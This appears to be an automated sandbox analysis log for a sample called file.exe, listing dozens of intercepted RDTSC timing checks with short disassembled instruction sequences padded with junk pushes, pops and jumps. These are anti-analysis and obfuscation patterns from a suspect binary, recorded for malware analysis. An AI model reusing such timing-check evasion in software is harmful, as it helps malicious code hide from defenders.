Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C75729 second address: AC08A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE764FBC4C4h 0x00000008 jo 00007FE764FBC4B6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 mov dword ptr [ebp+12478188h], ecx 0x00000018 jne 00007FE764FBC4B9h 0x0000001e push dword ptr [ebp+122D0D65h] 0x00000024 mov edi, dword ptr [ebp+122D19A5h] 0x0000002a call 00007FE764FBC4C7h 0x0000002f add dx, E212h 0x00000034 pop ecx 0x00000035 call dword ptr [ebp+122D274Fh] 0x0000003b pushad 0x0000003c jg 00007FE764FBC4C2h 0x00000042 xor eax, eax 0x00000044 jno 00007FE764FBC4B7h 0x0000004a mov edx, dword ptr [esp+28h] 0x0000004e pushad 0x0000004f mov ebx, dword ptr [ebp+122D36AFh] 0x00000055 popad 0x00000056 mov dword ptr [ebp+122D372Fh], eax 0x0000005c pushad 0x0000005d jmp 00007FE764FBC4C5h 0x00000062 adc si, 4871h 0x00000067 popad 0x00000068 mov esi, 0000003Ch 0x0000006d add dword ptr [ebp+122D1DC6h], edi 0x00000073 add esi, dword ptr [esp+24h] 0x00000077 clc 0x00000078 lodsw 0x0000007a jmp 00007FE764FBC4BAh 0x0000007f add eax, dword ptr [esp+24h] 0x00000083 pushad 0x00000084 or dword ptr [ebp+122D1C34h], eax 0x0000008a movsx ebx, ax 0x0000008d popad 0x0000008e mov ebx, dword ptr [esp+24h] 0x00000092 jnc 00007FE764FBC4BCh 0x00000098 push eax 0x00000099 jl 00007FE764FBC4C2h 0x0000009f je 00007FE764FBC4BCh 0x000000a5 push eax 0x000000a6 push edx 0x000000a7 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C75810 second address: C75829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE764CFA4DCh 0x00000009 popad 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C759C4 second address: C759CE instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE764FBC4BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C75D1D second address: C75D21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C75D21 second address: C75D57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push edi 0x0000000b push esi 0x0000000c mov edx, 6432D917h 0x00000011 pop edi 0x00000012 pop edi 0x00000013 xor dword ptr [ebp+122D32D8h], ecx 0x00000019 push 00000004h 0x0000001b mov edx, dword ptr [ebp+122D336Bh] 0x00000021 mov edi, dword ptr [ebp+122D36DFh] 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jc 00007FE764FBC4BCh 0x00000030 jng 00007FE764FBC4B6h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C75D57 second address: C75D61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FE764CFA4D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C760F8 second address: C76121 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FE764FBC4BEh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov edi, dword ptr [ebp+1245AD8Ch] 0x00000012 push 0000001Eh 0x00000014 sub dword ptr [ebp+1245A987h], ecx 0x0000001a push eax 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C76121 second address: C7612B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7642A second address: C76450 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE764FBC4C1h 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jbe 00007FE764FBC4C4h 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C76450 second address: C76465 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FE764CFA4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007FE764CFA4D6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C56820 second address: C56824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA71E2 second address: CA71F1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 je 00007FE764CFA4D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA732E second address: CA7334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA7334 second address: CA733A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA74C3 second address: CA74CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 je 00007FE764FBC4B6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAC26D second address: CAC280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE764CFA4DDh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAC280 second address: CAC288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAC7CB second address: CAC7E1 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE764CFA4DCh 0x00000008 jo 00007FE764CFA4E2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAC7E1 second address: CAC7F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FE764FBC4B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAC7F3 second address: CAC7FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAC95D second address: CAC965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAC965 second address: CAC96B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB3223 second address: CB322F instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE764FBC4BEh 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB3399 second address: CB339F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB339F second address: CB33A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB33A5 second address: CB33AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FE764CFA4D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB3813 second address: CB3832 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB3832 second address: CB386E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 jc 00007FE764CFA4D6h 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push edx 0x00000014 pop edx 0x00000015 popad 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007FE764CFA4E0h 0x0000001e pop edx 0x0000001f jng 00007FE764CFA4D8h 0x00000025 push eax 0x00000026 push edx 0x00000027 jnl 00007FE764CFA4D6h 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB386E second address: CB3872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB2E6A second address: CB2E73 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7356 second address: CB7367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007FE764FBC4B6h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7367 second address: CB736B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB8A38 second address: CB8A44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBB449 second address: CBB44F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBB44F second address: CBB453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4CEA second address: CC4CF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4CF0 second address: CC4CFC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4CFC second address: CC4D02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4D02 second address: CC4D39 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE764FBC4BEh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007FE764FBC4D3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC4D39 second address: CC4D3E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC3925 second address: CC392B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC392B second address: CC392F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC392F second address: CC3933 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC3933 second address: CC3963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FE764CFA4DBh 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE764CFA4E0h 0x00000015 push ecx 0x00000016 push esi 0x00000017 pop esi 0x00000018 jc 00007FE764CFA4D6h 0x0000001e pop ecx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC3AB4 second address: CC3ABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC3EA5 second address: CC3ECE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4E0h 0x00000007 jmp 00007FE764CFA4DDh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jnl 00007FE764CFA4D6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C75FAA second address: C75FB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FE764FBC4B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC8E98 second address: CC8E9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC813C second address: CC8156 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE764FBC4C4h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC8156 second address: CC8164 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FE764CFA4DEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC843A second address: CC843E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC843E second address: CC845E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE764CFA4E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC861E second address: CC862A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FE764FBC4B6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC88EC second address: CC88FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 jns 00007FE764CFA4D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC8A61 second address: CC8A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FE764FBC4B6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC8A70 second address: CC8A80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FE764CFA4D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCC7B9 second address: CCC7BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD2550 second address: CD2561 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE764CFA4DBh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD2B18 second address: CD2B36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE764FBC4C8h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD2B36 second address: CD2B3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD2E6F second address: CD2E79 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE764FBC4B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD3ECB second address: CD3ED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD5A5F second address: CD5A63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD5A63 second address: CD5A69 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD5A69 second address: CD5A6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD5A6F second address: CD5A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD98EB second address: CD990E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FE764FBC4C5h 0x0000000b popad 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD990E second address: CD9947 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764CFA4DDh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FE764CFA4E2h 0x00000011 jmp 00007FE764CFA4E1h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD9947 second address: CD994C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDA043 second address: CDA049 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDA049 second address: CDA04D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDA2FB second address: CDA312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE764CFA4E3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE69D7 second address: CE69FB instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE764FBC4CFh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE69FB second address: CE6A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE764CFA4E1h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FE764CFA4E3h 0x00000015 popad 0x00000016 jbe 00007FE764CFA4E7h 0x0000001c jmp 00007FE764CFA4DFh 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE6E94 second address: CE6EA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE764FBC4BFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE6FDF second address: CE6FE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE72FC second address: CE7301 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE747B second address: CE7499 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FE764CFA4E8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7499 second address: CE749D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE749D second address: CE74A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE74A3 second address: CE74AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE74AD second address: CE74B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE78CD second address: CE78E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE764FBC4BDh 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE78E4 second address: CE78F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7FAF second address: CE7FD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007FE764FBC4B6h 0x00000013 jmp 00007FE764FBC4C7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7FD9 second address: CE7FF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b jnc 00007FE764CFA4D6h 0x00000011 push edi 0x00000012 pop edi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7FF1 second address: CE7FF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0D48 second address: CF0D58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FE764CFA4D6h 0x0000000a je 00007FE764CFA4D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0D58 second address: CF0D84 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FE764FBC4BEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FE764FBC4C6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0D84 second address: CF0D88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF0EDA second address: CF0F05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE764FBC4BCh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE764FBC4C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1063 second address: CF106F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FE764CFA4D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
